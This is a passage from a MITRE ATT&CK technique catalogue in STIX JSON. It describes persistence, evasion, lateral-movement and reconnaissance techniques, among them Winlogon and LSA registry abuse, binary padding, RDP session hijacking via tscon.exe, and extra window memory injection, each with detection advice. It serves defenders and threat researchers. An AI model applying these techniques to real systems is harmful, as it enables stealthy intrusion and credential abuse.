loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Module: Module Load","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79","type":"attack-pattern","created":"2017-05-31T21:30:20.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1004","url":"https://attack.mitre.org/techniques/T1004"},{"external_id":"CAPEC-579","source_name":"capec","url":"https://capec.mitre.org/data/definitions/579.html"},{"url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.","source_name":"Cylance Reg Persistence Sept 2013"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T17:07:19.762Z","name":"Winlogon Helper DLL","description":"Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Martin Jirkal, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--519630c5-f03f-4882-825c-3af924935817","type":"attack-pattern","created":"2017-05-31T21:30:22.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1009","url":"https://attack.mitre.org/techniques/T1009"},{"external_id":"CAPEC-572","source_name":"capec","url":"https://capec.mitre.org/data/definitions/572.html"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Securelist Malware Tricks April 2017","url":"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/","description":"Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."},{"source_name":"VirusTotal FAQ","url":"https://www.virustotal.com/en/faq/","description":"VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."}],"modified":"2020-09-17T18:25:33.796Z","name":"Binary Padding","description":"Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Signature-based detection","Anti-virus"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:09:19.001Z","name":"Use Alternate Authentication Material","description":"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Blake Strom, Microsoft Threat Intelligence","Pawel Partyka, Microsoft Threat Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","IaaS","Containers","Identity Provider","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Application Log: Application Log Content","Logon Session: Logon Session Creation","Active Directory: Active Directory Credential Request","Web Credential: Web Credential Usage","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["System Access Controls"],"type":"attack-pattern","id":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","created":"2020-01-30T16:18:36.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1550","external_id":"T1550"},{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"},{"source_name":"NIST Authentication","description":"NIST. (n.d.). Authentication. Retrieved January 30, 2020.","url":"https://csrc.nist.gov/glossary/term/authentication"},{"source_name":"NIST MFA","description":"NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.","url":"https://csrc.nist.gov/glossary/term/multi_factor_authentication"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51dea151-0898-4a45-967c-3ebee0420484","type":"attack-pattern","created":"2017-05-31T21:30:59.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1076","url":"https://attack.mitre.org/techniques/T1076"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","source_name":"TechNet Remote Desktop Services"},{"url":"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/","description":"Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.","source_name":"Alperovitch Malware"},{"url":"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html","description":"Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.","source_name":"RDP Hijacking Korznikov"},{"url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","source_name":"RDP Hijacking Medium"},{"url":"https://github.com/nccgroup/redsnarf","description":"NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.","source_name":"Kali Redsnarf"}],"modified":"2020-02-11T18:24:04.507Z","name":"Remote Desktop Protocol","description":"Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Remote Desktop Users","User"],"x_mitre_system_requirements":["RDP service enabled, account in the Remote Desktop Users group."],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41","type":"attack-pattern","created":"2020-10-02T17:03:45.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1597.001","url":"https://attack.mitre.org/techniques/T1597/001"},{"source_name":"D3Secutrity CTI Feeds","url":"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/","description":"Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:45:30.862Z","name":"Threat Intel Vendors","description":"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-11T16:06:10.376Z","name":"Exfiltration Over Other Network Medium","description":"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","created":"2017-05-31T21:30:25.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1011","external_id":"T1011"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","type":"attack-pattern","created":"2020-10-20T00:08:21.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1602.002","url":"https://attack.mitre.org/techniques/T1602/002"},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."}],"modified":"2022-02-17T19:50:46.948Z","name":"Network Device Configuration Dump","description":"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-09-16T16:09:45.794Z","name":"Gather Victim Identity Information","description":"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)","Obsidian Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","created":"2020-10-02T14:54:59.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1589","external_id":"T1589"},{"source_name":"OPM Leak","description":"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.","url":"https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"},{"source_name":"Detectify Slack Tokens","description":"Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.","url":"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/"},{"source_name":"GitHub truffleHog","description":"Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.","url":"https://github.com/dxa4481/truffleHog"},{"source_name":"GrimBlog UsernameEnum","description":"GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.","url":"https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"},{"source_name":"Register Uber","description":"McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.","url":"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"},{"source_name":"GitHub Gitrob","description":"Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.","url":"https://github.com/michenriksen/gitrob"},{"source_name":"CNET Leaks","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"},{"source_name":"Obsidian SSPR Abuse 2023","description":"Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.","url":"https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"},{"source_name":"Forbes GitHub Creds","description":"Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.","url":"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"},{"source_name":"Register Deloitte","description":"Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.","url":"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d","type":"attack-pattern","created":"2017-05-31T21:31:43.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1131","url":"https://attack.mitre.org/techniques/T1131"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.","source_name":"MSDN Authentication Packages"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-01-24T15:43:25.280Z","name":"Authentication Package","description":"Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1181","url":"https://attack.mitre.org/techniques/T1181"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx","description":"Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.","source_name":"Microsoft Window Classes"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx","description":"Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft GetWindowLong function"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx","description":"Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft SetWindowLong function"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","source_name":"MalwareTech Power Loader Aug 2013"},{"url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","source_name":"WeLiveSecurity Gapz and Redyms Mar 2013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx","description":"Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.","source_name":"Microsoft SendNotifyMessage function"}],"modified":"2020-11-10T18:29:30.479Z","name":"Extra Window Memory Injection","description":"Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. 